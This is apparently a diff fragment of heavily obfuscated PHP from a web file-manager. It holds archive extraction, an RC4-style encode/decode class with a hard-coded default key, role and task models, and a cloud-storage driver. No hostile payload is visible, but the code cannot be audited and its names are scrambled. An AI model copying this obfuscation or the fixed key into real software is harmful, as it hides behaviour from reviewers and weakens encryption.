($dۈ = 0; $dۈ < count($D٢); $dۈ++) { $D٢[$dۈ][$F[1895]] = str_replace(array($F[1076], $F[1897]), $F[772], $D٢[$dۈ][$F[1895]]); if ($D) { $D٢[$dۈ][$F[1895]] = iconv_to($D٢[$dۈ][$F[1895]], $D˙, $F[323]); unset($D٢[$dۈ][$F[1898]]); } } return array($F[1036] => !0, $F[1038] => $D٢); } else { return array($F[1036] => !1, $F[1038] => $D٢); } } static function extract($D, $E, $Fɍ֫ = "\55\x31", &$cƫ = false) { goto dʞ鏬; f򎯉: $CϜ = self::listContent($D, !1); if (!$CϜ[$fР[1036]]) { return $CϜ; } if ($Fɍ֫ != $fР[1035]) { goto Aث; Aث: $E֕թݺ = self::fileIndex($CϜ[$fР[1038]], $Fɍ֫); $cƫ = str_replace(array($fР[1076], $fР[1897]), $fР[70], $E֕թݺ[$fР[1895]]); $Dͭʳ = $cƫ; goto bʏ; bʏ: if ($GLOBALS[$fР[6]][$fР[1149]] != $fР[323]) { $Dͭʳ = unzip_pre_name($cƫ); } $dӄ = get_path_father($cƫ); if ($dӄ == $cƫ) { $dӄ = $fР[33]; } goto Eɑ; Eɑ: if ($E֕թݺ[$fР[76]]) { $Dͭʳ = rtrim($Dͭʳ, $fР[8]) . $fР[8]; $cƫ = array($cƫ); } $d޻ɹ = str_replace($fР[95], $fР[8], $Dͭʳ); if (substr($d޻ɹ, -1) == $fР[8]) { if (!strstr(trim($d޻ɹ, $fР[8]), $fР[8])) { $E = $E . get_path_this($d޻ɹ) . $fР[8]; } } else { if ($dӄ == $Dͭʳ) { $dӄ = $fР[33]; } } goto cĿ; cĿ: } goto Dʼn; Dʼn: if (self::checkIfType($eŖ̟, $fР[1877])) { if ($Fɍ֫ != $fР[1035]) { $Dͭʳ = unzip_pre_name($Dͭʳ); $dӄ = unzip_pre_name($dӄ); $F = PclTarExtractList($D, array($Dͭʳ), $E, $dӄ, $eŖ̟); } else { $F = PclTarExtract($D, $E, $fР[358], $eŖ̟); } return array($fР[1036] => $F, $fР[1038] => PclErrorString(!0)); } else { if (self::checkIfType($eŖ̟, $fР[1049])) { return kodRarArchive::extract($D, $E, $eŖ̟, $cƫ); } else { if (kodZipArchive::support($fР[1899])) { return kodZipArchive::extract($D, $E, $cƫ); } else { $Fӳ = new PclZip($D); if ($Fɍ֫ != $fР[1035]) { $F = $Fӳ->extract(PCLZIP_OPT_PATH, $E, PCLZIP_OPT_SET_CHMOD, DEFAULT_PERRMISSIONS, PCLZIP_CB_PRE_FILE_NAME, $fР[1900], PCLZIP_OPT_BY_NAME, $E֕թݺ[$fР[1895]], PCLZIP_OPT_REMOVE_PATH, $dӄ, PCLZIP_OPT_REPLACE_NEWER); } else { $F = $Fӳ->extract(PCLZIP_OPT_PATH, $E, PCLZIP_OPT_SET_CHMOD, DEFAULT_PERRMISSIONS, PCLZIP_CB_PRE_FILE_NAME, $fР[1900], PCLZIP_OPT_REPLACE_NEWER); } return array($fР[1036] => $F, $fР[1038] => $Fӳ->errorName(!0)); } } } return array($fР[1036] => !1, $fР[1038] => $fР[1901]); goto Aݞ; dʞ鏬: $fР =& $_SERVER[ѽ]; self::init(); $eŖ̟ = !empty($GLOBALS[$fР[1053]]) ? $GLOBALS[$fР[1053]] : get_path_ext($D); goto f򎯉; Aݞ: } static function fileIndex($C, $c䪴ˍ, $Fƌ = false) { goto eѡ; Cތўڥ: $E = count($C); for ($F = 0; $F < $E; $F++) { if ($c䪴ˍ == $C[$F][$A[1040]]) { $c̔ = $C[$F]; break; } } if (!$c̔) { show_tips($A[1902]); } goto A԰ޠ; eѡ: $A =& $_SERVER[ѽ]; self::init(); if (!is_array($C)) { return !1; } goto Cތўڥ; A԰ޠ: $bƅ؅ = $c̔; if ($Fƌ) { $bƅ؅ = $c̔[$Fƌ]; if ($c̔[$A[76]]) { $bƅ؅ = rtrim($bƅ؅, $A[8]) . $A[8]; } } return $bƅ؅; goto Dƴèѱ; Dƴèѱ: } static function extractZipFile($BͷÌ, $Fض, $Eɜ = false) { goto b; dƑ͞Ȕ: $Eٳ = get_path_father($Fض); if ($Eٳ == $Fض) { $Eٳ = $a[33]; } $d = $Eܭ劶->extract(PCLZIP_OPT_PATH, $Aꄒ, PCLZIP_CB_PRE_FILE_NAME, $a[1900], PCLZIP_OPT_REMOVE_PATH, $Eٳ, PCLZIP_OPT_BY_NAME, $Fض); goto cΘ; cΘ: if (!file_exists($b˃ʏ)) { return !1; } @rename($b˃ʏ, $C򧝕); return $C򧝕; goto C率; BΏ: if (file_exists($C򧝕)) { return $C򧝕; } $Eܭ劶 = new PclZip($BͷÌ); $b˃ʏ = unzip_filter_ext($Aꄒ . get_path_this($Fض)); goto dƑ͞Ȕ; b: $a =& $_SERVER[ѽ]; self::init(); $Aꄒ = TEMP_FILES . hash_path($BͷÌ) . $a[8]; goto ȅ; ȅ: mk_dir($Aꄒ); $C򧝕 = $Aꄒ . md5($BͷÌ . $Fض); if ($Eɜ) { $C򧝕 = $Aꄒ . $Eɜ; } goto BΏ; C率: } static function filePreview($B̭, $D, $d羆 = false, $Bʺ = false) { goto fƠ; fٝ: mk_dir($B); $F鉶߆ = $B . md5($B̭ . $D . $Bʺ); $E = $b[33]; goto aޛ; C铚۝: if (!$aԯdzӸ[$b[1036]]) { show_json($aԯdzӸ[$b[1038]], !1); } if (!file_exists($f⟆ڏ)) { show_json($b[1904], !1); } @rename($f⟆ڏ, $F鉶߆); goto B; aޛ: $aԯdzӸ = self::extract($B̭, $B, $D, $E); if (is_array($E)) { show_json($b[1903], !1); } if (file_exists($F鉶߆)) { IO::fileOut($F鉶߆, $d羆, get_path_this($E)); return; } goto f; f: $E = unzip_pre_name($E); $f׊ = get_path_this($E); $f⟆ڏ = unzip_filter_ext($B . $f׊); goto C铚۝; B: if (!file_exists($F鉶߆)) { del_dir($B); show_json($b[1905]); } IO::fileOut($F鉶߆, $d羆, $f׊); goto EΕ; fƠ: $b =& $_SERVER[ѽ]; self::init(); $B = TEMP_FILES . hash_path($B̭) . $b[8]; goto fٝ; EΕ: } static function create($d, $C) { $AŠʆ =& $_SERVER[ѽ]; self::init(); $c㉐ = get_path_ext($d); $BDž = !1; if (self::checkIfType($c㉐, $AŠʆ[298])) { if (kodZipArchive::support($AŠʆ[1014])) { return kodZipArchive::create($d, $C); } $bѤ = new PclZip($d); foreach ($C as $Aثսַ => $fۑŊ) { $fۑŊ = str_replace($AŠʆ[463], $AŠʆ[8], $fۑŊ); $Cд = Kodio::clear(get_path_father($fۑŊ)); if ($Aثսַ == 0) { $BDž = $bѤ->create($fۑŊ, PCLZIP_OPT_REMOVE_PATH, $Cд, PCLZIP_CB_PRE_FILE_NAME, $AŠʆ[1906]); continue; } $BDž = $bѤ->add($fۑŊ, PCLZIP_OPT_REMOVE_PATH, $Cд, PCLZIP_CB_PRE_FILE_NAME, $AŠʆ[1906]); } } else { if (self::checkIfType($c㉐, $AŠʆ[1877])) { foreach ($C as $Aثսַ => $fۑŊ) { $fۑŊ = str_replace($AŠʆ[463], $AŠʆ[8], $fۑŊ); $Cд = Kodio::clear(get_path_father($fۑŊ)); if ($Aثսַ == 0) { $BDž = PclTarCreate($d, array($fۑŊ), $c㉐, null, $Cд); continue; } $BDž = PclTarAddList($d, array($fۑŊ), $AŠʆ[33], $Cд, $c㉐); } } } return $BDž; } } class Mcrypt { public static $defaultKey = "\x61\x21\x74\141\153\x41\72\x64\154\155\x63\154\144\105\x76\54\145"; public static function encode($a, $B = '', $F = 0, $CȊǣ = '') { goto c贠; c贠: $f =& $_SERVER[ѽ]; $F = 4; $B = md5($B ? $B : self::$defaultKey); goto fՆ; F˨ٔ: $bȎ = substr($CȊǣ, -$F); $bڱ = $bד . md5($bד . $bȎ); $dŪʤ = strlen($bڱ); goto aЎ; Eī: $c = $f[33]; for ($aԳ = $Bɬ = $Aő = 0; $Aő < $eȇ; $Aő++) { $aԳ = ($aԳ + 1) % 256; $Bɬ = ($Bɬ + $B򗠍[$aԳ]) % 256; $c૮ = $B򗠍[$aԳ]; $B򗠍[$aԳ] = $B򗠍[$Bɬ]; $B򗠍[$Bɬ] = $c૮; $c .= chr(ord($a[$Aő]) ^ $B򗠍[($B򗠍[$aԳ] + $B򗠍[$Bɬ]) % 256]); } $c = $bȎ . str_replace($f[913], $f[33], base64_encode($c)); goto dԌƂ; aЎ: $a = sprintf($f[1907], $F ? $F + time() : 0) . substr(md5($a . $d߈), 0, 16) . $a; $eȇ = strlen($a); $C֩ = array(); goto a; fՆ: $bד = md5(substr($B, 0, 16)); $d߈ = md5(substr($B, 16, 16)); $CȊǣ = $CȊǣ ? $CȊǣ : md5(microtime()); goto F˨ٔ; dԌƂ: $c = str_replace(array($f[281], $f[8], $f[913]), array($f[408], $f[70], $f[93]), $c); return $c; goto Bﵩ; a: for ($Aő = 0; $Aő <= 255; $Aő++) { $C֩[$Aő] = ord($bڱ[$Aő % $dŪʤ]); } $B򗠍 = range(0, 255); for ($Bɬ = $Aő = 0; $Aő < 256; $Aő++) { $Bɬ = ($Bɬ + $B򗠍[$Aő] + $C֩[$Aő]) % 256; $c૮ = $B򗠍[$Aő]; $B򗠍[$Aő] = $B򗠍[$Bɬ]; $B򗠍[$Bɬ] = $c૮; } goto Eī; Bﵩ: } public static function decode($F, $BۜЖ = '') { goto dÚ; aˎ: if (($e뭖 == 0 || $e뭖 - time() > 0) && substr($d΃ʉ, 10, 16) == substr(md5(substr($d΃ʉ, 26) . $Aɔ), 0, 16)) { return substr($d΃ʉ, 26); } else { return $Cн[33]; } goto DȂ; d䪤: $d΃ʉ = $Cн[33]; for ($Bɋ = $F = $dʚɦ = 0; $dʚɦ < $cⓚ; $dʚɦ++) { $Bɋ = ($Bɋ + 1) % 256; $F = ($F + $aħ֕[$Bɋ]) % 256; $fӬε = $aħ֕[$Bɋ]; $aħ֕[$Bɋ] = $aħ֕[$F]; $aħ֕[$F] = $fӬε; $d΃ʉ .= chr(ord($F[$dʚɦ]) ^ $aħ֕[($aħ֕[$Bɋ] + $aħ֕[$F]) % 256]); } $e뭖 = intval(substr($d΃ʉ, 0, 10)); goto aˎ; dÚ: $Cн =& $_SERVER[ѽ]; $F = str_replace(array($Cн[408], $Cн[70], $Cн[93]), array($Cн[281], $Cн[8], $Cн[913]), $F); $BꂈԢ = 4; goto Cש; Cש: $BۜЖ = md5($BۜЖ ? $BۜЖ : self::$defaultKey); $fԑ = md5(substr($BۜЖ, 0, 16)); $Aɔ = md5(substr($BۜЖ, 16, 16)); goto F迦ō; F迦ō: $a = substr($F, 0, $BꂈԢ); $b = $fԑ . md5($fԑ . $a); $aа = strlen($b); goto BՊ; BՊ: $F = base64_decode(substr($F, $BꂈԢ)); $cⓚ = strlen($F); $eՇ = array(); goto cŤ; cŤ: for ($dʚɦ = 0; $dʚɦ <= 255; $dʚɦ++) { $eՇ[$dʚɦ] = ord($b[$dʚɦ % $aа]); } $aħ֕ = range(0, 255); for ($F = $dʚɦ = 0; $dʚɦ < 256; $dʚɦ++) { $F = ($F + $aħ֕[$dʚɦ] + $eՇ[$dʚɦ]) % 256; $fӬε = $aħ֕[$dʚɦ]; $aħ֕[$dʚɦ] = $aħ֕[$F]; $aħ֕[$F] = $fӬε; } goto d䪤; DȂ: } } goto d; dӮϼ: class SystemRoleModel extends ModelBaseLight { public $optionType = "\x53\171\x73\164\x65\x6d\56\162\x6f\x6c\x65\x4c\x69\x73\164"; public $field = array("\156\141\x6d\145", "\x61\165\x74\150", "\x6c\x61\142\145\x6c", "\144\151\163\x70\x6c\x61\171", "\x73\x79\163\164\145\155", "\144\145\163\x63", "\151\x67\x6e\x6f\x72\x65\105\170\164", "\x69\x67\156\x6f\162\x65\106\151\x6c\x65\123\x69\172\145", "\x61\144\x6d\x69\156\151\163\164\x72\141\164\157\162", "\163\157\x72\x74"); public function listData($E = false, $Bː = "\x73\x6f\x72\x74", $fݑDŽ = false) { return parent::listData($E, $Bː, $fݑDŽ); } public function update($c䔉, $c近) { goto fܥ; e҇: return parent::update($c䔉, $c近); goto Dߖ; fܥ: $f蘿 =& $_SERVER[ѽ]; $Dʣ̤ = parent::listData($c䔉); $dÑ = $this->findByName($c近[$f蘿[28]]); goto F®݊; F®݊: if (!$Dʣ̤ || $dÑ && $dÑ[$f蘿[364]] != $Dʣ̤[$f蘿[364]]) { return !1; } if ($dÑ[$f蘿[2446]] == 1) { $c近 = array($f蘿[28] => $c近[$f蘿[28]], $f蘿[2098] => $c近[$f蘿[2098]]); } $this->filterAuth($c近[$f蘿[373]]); goto e҇; Dߖ: } public function remove($Bޏ) { $BؼΠ = parent::listData($Bޏ); if (!$BؼΠ || $BؼΠ[$_SERVER[ѽ][1084]]) { return !1; } return parent::remove($Bޏ); } public function add($dܶÈ) { goto DГ; a: $c = array($Eׂٸ[383] => $C, $Eׂٸ[2086] => $Eׂٸ[33], $Eׂٸ[2082] => $Eׂٸ[2099], $Eׂٸ[2447] => 1, $Eׂٸ[2085] => 0, $Eׂٸ[2448] => 0, $Eׂٸ[2084] => $this->getSort()); $dܶÈ = array_merge($c, $dܶÈ); $this->filterAuth($dܶÈ[$Eׂٸ[373]]); goto f; DГ: $Eׂٸ =& $_SERVER[ѽ]; $C = $dܶÈ[$Eׂٸ[28]]; if ($this->findByName($C)) { return !1; } goto a; f: return parent::insert($dܶÈ); goto cʂ; cʂ: } private function getSort() { $a⡅ =& $_SERVER[ѽ]; $fԏɱ = parent::listData(); $Fƌ = array_to_keyvalue($fԏɱ, $a⡅[33], $a⡅[2101]); return empty($Fƌ) ? 0 : max($Fƌ) + 1; } private function filterAuth(&$C̿) { $b鏄 =& $_SERVER[ѽ]; $e = array(); $A㉠ = array_filter(explode($b鏄[47], $C̿)); foreach ($A㉠ as $C̿) { $D = explode($b鏄[93], $C̿); if ($D[0] == $b鏄[1760] && $D[1] != $b鏄[1040]) { $fǫ΃ = $D[0] . $b鏄[93] . $D[1] . $b鏄[2449]; if (!in_array($fǫ΃, $A㉠)) { $e[] = $fǫ΃; } } $e[] = $C̿; } $C̿ = implode($b鏄[47], $e); } public function sort($Bֆ, $d) { return parent::update($Bֆ, $d); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\x65\x6d\x2e\x74\141\163\153\114\151\x73\164"; public $field = array("\156\x61\155\x65", "\x74\x79\x70\145", "\x65\166\145\x6e\x74", "\164\x69\155\x65", "\x64\145\163\x63", "\163\x79\163\x74\145\155", "\145\x6e\141\142\154\x65", "\x6c\141\163\164\x52\x75\x6e", "\163\x6f\x72\x74"); public function listData($e = false, $F癣 = "\163\x6f\x72\164", $A = false) { return parent::listData($e, $F癣, $A); } public function add($d딤) { $Dⷋŭ =& $_SERVER[ѽ]; $B = $this->findByName($d딤[$Dⷋŭ[28]]); if ($B) { return !1; } $d딤[$Dⷋŭ[1382]] = 0; $d딤[$Dⷋŭ[2101]] = $this->getSort(); return parent::insert($d딤); } private function getSort() { $c菈 =& $_SERVER[ѽ]; $eڮȸ = parent::listData(); $b = array_to_keyvalue($eڮȸ, $c菈[33], $c菈[2101]); return empty($b) ? 0 : max($b) + 1; } public function update($aө, $eʼnԢ) { $eޟ =& $_SERVER[ѽ]; $b•ܑ = $this->listData($aө); $F㣞 = $this->findByName($eʼnԢ[$eޟ[28]]); if (!$b•ܑ || $F㣞 && $F㣞[$eޟ[364]] != $b•ܑ[$eޟ[364]]) { return !1; } return parent::update($aө, $eʼnԢ); } public function remove($e, $Fٺஎ = false) { $Fؗ =& $_SERVER[ѽ]; $e = $this->listData($e); if (!$e) { return; } if (!$Fٺஎ && $e[$Fؗ[1084]] == $Fؗ[83]) { return !1; } return parent::remove($e); } public function enable($cϋ, $Aꅜ) { return $this->update($cϋ, array($_SERVER[ѽ][2440] => $Aꅜ)); } public function run($cޢϚ) { return $this->update($cޢϚ, array($_SERVER[ѽ][2450] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\165\x73\145\x72\x5f\x66\x61\x76"; protected function cacheFunctionAlias($B֠) { $E豧҅ =& $_SERVER[ѽ]; return array($E豧҅[2451] => array(USER_ID, $E豧҅[2452])); } protected function listData() { $D =& $_SERVER[ѽ]; $f = array($D[1408] => USER_ID, $D[432] => 0); $C = $D[2453]; $fǗ؃ = $this->field($C)->where($f)->order($D[2454])->select(); return $fǗ؃ ? $fǗ؃ : array(); } protected function resetCache() { } protected function listView() { goto Aمʩ; EŦ: $b = array_to_keyvalue($b, $a͖[366]); foreach ($CÒ as $Fґӂ => $Eن) { $d鏫 = $b[$Eن[$a͖[75]]]; $d鏫 = $d鏫 ? $d鏫 : array(); $CÒ[$Fґӂ] = array_merge($d鏫, $Eن); } return $CÒ; goto cȰ; c僘ϳ: $e׌ = array($a͖[380] => array($a͖[381], $Bێ)); $b = Model($a͖[762])->listSource($e׌, $aˆ); $b = array_merge($b[$a͖[73]], $b[$a͖[74]]); goto EŦ; Dঋ: $Bێ = array_to_keyvalue($Cԯ, $a͖[33], $a͖[75]); if (!$Bێ) { return $CÒ; } $aˆ = 2000; goto c僘ϳ; Aمʩ: $a͖ =& $_SERVER[ѽ]; $CÒ = $this->listData(); $Cԯ = array_filter_by_field($CÒ, $a͖[29], $a͖[379]); goto Dঋ; cȰ: } protected function addFav($Cȋ, $eɱ = '', $Dú = "\x73\157\x75\x72\143\x65") { goto Fɾ; Cȅ: if (!$eɱ && $Dú == $FОӽ[379]) { $aЍ = Model($FОӽ[1114])->where(array($FОӽ[380] => $Cȋ))->find(); if (!$aЍ) { return !1; } $eɱ = $aЍ[$FОӽ[28]]; } $eɱ = $this->getAutoName($eɱ); $aø = array($FОӽ[1408] => USER_ID, $FОӽ[432] => 0, $FОӽ[383] => $eɱ, $FОӽ[384] => $Cȋ, $FОӽ[385] => $Dú, $FОӽ[2084] => $E֘Ճ + 1); goto E΋ש; E΋ש: return $this->add($aø); goto d׬Ї; c܉ƻ: $fȰń = array($FОӽ[1408] => USER_ID, $FОӽ[432] => 0); $E֘Ճ = $this->where($fȰń)->max($FОӽ[2101]); if (!$E֘Ճ) { $E֘Ճ = 0; } goto Cȅ; Fɾ: $FОӽ =& $_SERVER[ѽ]; $fȰń = array($FОӽ[1408] => USER_ID, $FОӽ[432] => 0, $FОӽ[385] => $Dú, $FОӽ[384] => $Cȋ); if ($this->where($fȰń)->find()) { return !1; } goto c܉ƻ; d׬Ї: } protected function remove($f䦢ߌ) { $fݕ =& $_SERVER[ѽ]; $Cʽۡ = array($fݕ[1408] => USER_ID, $fݕ[382] => $f䦢ߌ); return $this->where($Cʽۡ)->delete(); } protected function removeByName($b) { $Bً =& $_SERVER[ѽ]; $c㐝 = array($Bً[1408] => USER_ID, $Bً[383] => $b, $Bً[432] => 0); return $this->where($c㐝)->delete(); } protected function rename($bՑ, $Bꆊ) { $a =& $_SERVER[ѽ]; if ($bՑ == $Bꆊ) { return !1; } $e = $this->getAutoName($Bꆊ); if ($Bꆊ != $e) { return !1; } $C۴ө = array($a[1408] => USER_ID, $a[432] => 0, $a[28] => $bՑ); return $this->where($C۴ө)->save(array($a[28] => $Bꆊ)); } protected function resetSort($Dĕ꥛) { $AŮ =& $_SERVER[ѽ]; $Dĕ꥛ = is_array($Dĕ꥛) ? $Dĕ꥛ : array(); $Dݐ = array($AŮ[1408] => USER_ID); for ($DčȒ = 0; $DčȒ < count($Dĕ꥛); $DčȒ++) { $Dݐ[$AŮ[382]] = $Dĕ꥛[$DčȒ]; $this->where($Dݐ)->save(array($AŮ[2084] => $DčȒ + 1)); } return !0; } protected function moveTop($dױ) { goto Fጄé; E˖: $c = $Cኬ; $Cኬ = array_remove_value($Cኬ, $EΔ[$AȞ[364]]); array_unshift($Cኬ, $EΔ[$AȞ[364]]); goto A왥ƴ; A왥ƴ: return $this->resetSort($Cኬ); goto e猲; Fጄé: $AȞ =& $_SERVER[ѽ]; $a = array($AȞ[1408] => USER_ID, $AȞ[432] => 0); $EΔ = $this->where($a)->where(array($AȞ[28] => $dױ))->find(); goto A; A: if (!$EΔ) { return; } $Cኬ = $this->field($AȞ[364])->where($a)->order($AȞ[2454])->select(); $Cኬ = array_to_keyvalue($Cኬ, $AȞ[33], $AȞ[364]); goto E˖; e猲: } protected function moveBottom($Dތ) { $d魪 =& $_SERVER[ѽ]; $F = array($d魪[1408] => USER_ID, $d魪[432] => 0); $b = $this->where($F)->max($d魪[2101]); $F = array($d魪[2101] => $b + 1); return $this->where($F)->where(array($d魪[28] => $Dތ))->save($F); } private function getAutoName($b) { goto b; b: $eˎ =& $_SERVER[ѽ]; $d = array($eˎ[1408] => USER_ID, $eˎ[432] => 0); $d = $this->field($eˎ[28])->where($d)->select(); goto E減; E減: $d = array_to_keyvalue($d, $eˎ[33], $eˎ[28]); if (!$d || !in_array($b, $d)) { return $b; } for ($e = 0; $e < count($d); $e++) { if (!in_array($b . "\50{$e}\51", $d)) { return $b . "\x28{$e}\51"; } } goto Aܱ; Aܱ: return $b . "\x28{$e}\51"; goto B; B: } } goto b; Eֻ: class UserTagSourceModel extends ModelBase { protected $tableName = "\165\x73\145\x72\137\146\141\x76"; protected function cacheFunctionAlias($Dƥ) { $eМ =& $_SERVER[ѽ]; return array($eМ[2451] => array(USER_ID, $eМ[2507])); } protected function listData() { $E҃ =& $_SERVER[ѽ]; $e׋ = array($E҃[1408] => USER_ID, $E҃[432] => array($E҃[2508], 0)); $C튫 = $E҃[2509]; $b혎 = $E҃[2510]; $Dͻ = $this->field($C튫)->where($e׋)->order($b혎)->select(); return $Dͻ ? $Dͻ : array(); } protected function listByTag($F׸) { } protected function addToTag($bՍ, $Eł֭٬) { $eԏ =& $_SERVER[ѽ]; if (!Model($eԏ[2280])->listData($Eł֭٬) || !Model($eԏ[762])->pathInfo($bՍ)) { return !1; } $b呃 = array($eԏ[1408] => USER_ID, $eԏ[432] => $Eł֭٬, $eԏ[384] => $bՍ, $eԏ[385] => $eԏ[379], $eԏ[383] => $eԏ[33], $eԏ[2084] => 0); if ($this->where($b呃)->find()) { return !1; } return $this->add($b呃); } protected function removeFromTag($aӫ, $CƗ) { $bʿ =& $_SERVER[ѽ]; if (!Model($bʿ[2280])->listData($CƗ) || !Model($bʿ[762])->pathInfo($aӫ)) { return !1; } $aݙ = array($bʿ[1408] => USER_ID, $bʿ[432] => $CƗ, $bʿ[385] => $bʿ[379], $bʿ[384] => $aӫ); return $this->where($aݙ)->delete(); } protected function removeByTag($f߻) { $e̾ =& $_SERVER[ѽ]; if (!$f߻) { return !1; } $D = array($e̾[1408] => USER_ID, $e̾[432] => $f߻); return $this->where($D)->delete(); } protected function removeBySource($a͠) { $aͮ =& $_SERVER[ѽ]; $C = array($aͮ[1408] => USER_ID, $aͮ[384] => $a͠, $aͮ[432] => array($aͮ[934], 0)); return $this->where($C)->delete(); } } \ No newline at end of file + goto B; aö: class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\150\164\164\160\x3a\57\57\166\60\56\141\x70\x69\56\165\x70\171\x75\x6e\x2e\143\x6f\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($e) { parent::__construct(); $this->_init($e); } public function _init($eۃ) { foreach ($eۃ as $BЇǦ => $E뉸) { if (isset($this->{$BЇǦ})) { $this->{$BЇǦ} = $E뉸; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { show_json($_SERVER[ڊ][1228], !1); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($F, $Bʠۙ = "\107\105\124") { $CՖƏ =& $_SERVER[ڊ]; $A͌ק = gmdate($CՖƏ[1192]); $eȃ = base64_encode(hash_hmac($CՖƏ[1229], "{$Bʠۙ}\x26{$F}\x26{$A͌ק}", md5("{$this->userpass}"), !0)); $eۂ = array("\x41\165\x74\x68\x6f\x72\x69\x7a\x61\164\x69\x6f\x6e\72\125\x50\x59\x55\116\40{$this->username}\72{$eȃ}", "\x44\x61\164\145\x3a{$A͌ק}"); return $eۂ; } public function ussRequest($Cڪ, $C˄һ = "\x47\105\x54", $C = false, $cև嚼ޭ = false, $F埨 = false) { goto F; F: $B޻ =& $_SERVER[ڊ]; $Cڪ = trim($Cڪ, $B޻[8]); $F = "\x2f{$this->bucket}\x2f{$Cڪ}"; goto CƑnj; CƑnj: $dݐ̪ = $this->ussHeaders($F, $C˄һ); if ($cև嚼ޭ) { $dݐ̪ = array_merge($dݐ̪, $cև嚼ޭ); } $B = url_request($this->endpoint . $F, $C˄һ, $C, $dݐ̪, $F埨); goto cɑ; cɑ: if (!$B) { return array($B޻[1024] => !1, $B޻[1026] => $B޻[1230]); } if (strtolower($C˄һ) == $B޻[181] || in_array($B[$B޻[1024]], array($B޻[1085], $B޻[1231]))) { $C = $B[$B޻[1232]]; } else { $C = json_decode($B[$B޻[1026]], !0); if (!$C) { $C = $B[$B޻[1026]]; } else { if (!$B[$B޻[684]] && isset($C[$B޻[1233]])) { $C = $C[$B޻[1233]]; } } } return array($B޻[1024] => $B[$B޻[684]], $B޻[1026] => $C); goto fȠƆ; fȠƆ: } public function mkfile($e„, $dƐٕ = '', $F屪 = REPEAT_RENAME) { if ($this->setContent($e„, $dƐٕ)) { return $this->getPathOuter($e„); } return !1; } public function mkdir($a⑱, $Fׄ = REPEAT_SKIP) { $E =& $_SERVER[ڊ]; $D拎 = trim($a⑱, $E[8]); if ($this->_isFolder($D拎)) { return $this->getPathOuter($D拎); } $EԸ = array($E[1234]); $e殻 = $this->ussRequest($D拎, $E[209], !1, $EԸ); return $e殻[$E[1024]] ? $this->getPathOuter($D拎) : !1; } public function copyFile($dӲ, $C򚶤) { $Aϯ =& $_SERVER[ڊ]; $B乬 = array($Aϯ[1235] . "\x2f{$this->bucket}\x2f{$dӲ}", $Aϯ[1236]); $Fې = $this->ussRequest($C򚶤, $Aϯ[211], !1, $B乬); return $Fې[$Aϯ[1024]] ? !0 : !1; } public function moveFile($Cރֱ, $cⴖ򙤋) { $f =& $_SERVER[ڊ]; $eÓ = array($f[1237] . "\57{$this->bucket}\57{$Cރֱ}", $f[1236]); $e椋 = $this->ussRequest($cⴖ򙤋, $f[211], !1, $eÓ); return $e椋[$f[1024]] ? !0 : !1; } public function delFile($c񡠧) { $e =& $_SERVER[ڊ]; $aڱ = $this->ussRequest($c񡠧, $e[1238]); return $aڱ[$e[1024]] ? !0 : !1; } public function delFolder($E) { $fɑ =& $_SERVER[ڊ]; $cޅ = $this->listAll($E); krsort($cޅ); foreach ($cޅ as $AŻ) { $this->ussRequest($AŻ[$fɑ[75]], $fɑ[1238]); } return $this->ussRequest($E, $fɑ[1238]); } public function rename($FԒ, $c蹲) { if ($this->isFile($FԒ)) { $c蹲 = get_path_father($FԒ) . $c蹲; return $this->moveFile($FԒ, $c蹲); } return $this->renameObject($FԒ, $c蹲); } public function fileInfo($c, $bԝ = false, $aŇ = array()) { $c۸ =& $_SERVER[ڊ]; if ($bԝ) { return array($c۸[28] => $this->pathThis($c), $c۸[75] => $this->getPathOuter($c۸[8] . $c), $c۸[29] => $c۸[164], $c۸[77] => isset($aŇ[$c۸[322]]) ? $aŇ[$c۸[322]] : 0, $c۸[157] => $this->ext($c)); } $D゠Е = array($c۸[28] => $this->pathThis($c), $c۸[75] => $this->getPathOuter($c۸[8] . $c), $c۸[29] => $c۸[164], $c۸[184] => 0, $c۸[107] => isset($Aþ˷[$c۸[1239]]) ? $Aþ˷[$c۸[1239]] : 0, $c۸[77] => isset($aŇ[$c۸[322]]) ? $aŇ[$c۸[322]] : 0, $c۸[157] => $this->ext($c), $c۸[185] => !0, $c۸[186] => !0); if (empty($aŇ)) { $aŇ = $this->objectMeta($c); if (!$aŇ) { return $D゠Е; } $D゠Е[$c۸[184]] = $aŇ[$c۸[1240]]; $D゠Е[$c۸[107]] = $aŇ[$c۸[1241]]; $D゠Е[$c۸[77]] = $aŇ[$c۸[77]]; } return $D゠Е; } public function folderInfo($cɩ, $bĪ = false) { $aħ =& $_SERVER[ڊ]; if ($bĪ) { return array($aħ[28] => $this->pathThis($cɩ), $aħ[75] => $this->getPathOuter($aħ[8] . $cɩ), $aħ[29] => $aħ[76]); } $f޺ = array($aħ[28] => $this->pathThis($cɩ), $aħ[75] => $this->getPathOuter($aħ[8] . $cɩ), $aħ[29] => $aħ[76], $aħ[184] => 0, $aħ[107] => isset($dӐ[$aħ[1239]]) ? $dӐ[$aħ[1239]] : 0, $aħ[1146] => !0, $aħ[1147] => !0); if (empty($e೔)) { $e೔ = $this->objectMeta($cɩ); if (!$e೔) { return $f޺; } $f޺[$aħ[184]] = $e೔[$aħ[1240]]; $f޺[$aħ[107]] = $e೔[$aħ[1241]]; } return $f޺; } private function fileList($Bʪ̈, $F񘰈 = 0, $dײ = 1000) { $a織 =& $_SERVER[ڊ]; $f = array($a織[1242], $a織[1243] . $dײ); if ($F񘰈) { $f[] = $a織[1244] . $F񘰈; } $E߉û = $this->ussRequest($Bʪ̈, $a織[213], !1, $f); return !$E߉û[$a織[1024]] ? !1 : $E߉û[$a織[1026]]; } public function listPath($fΊ, $b̜ = false) { goto E׌; E׌: $b׿ =& $_SERVER[ڊ]; $f԰ = $b׿[33]; $dӈ۪ = 1000; goto F; e訬냪: return array($b׿[74] => $D, $b׿[73] => $Bݑ֊); goto bкӕ; F: $D = $Bݑ֊ = array(); $F = rtrim($fΊ, $b׿[8]) . $b׿[8]; while (!0) { $F䑧 = $this->fileList($fΊ, $f԰, $dӈ۪); if (!$F䑧) { return !1; } $f԰ = isset($F䑧[$b׿[1245]]) ? $F䑧[$b׿[1245]] : $b׿[33]; $e = isset($F䑧[$b׿[1246]]) ? 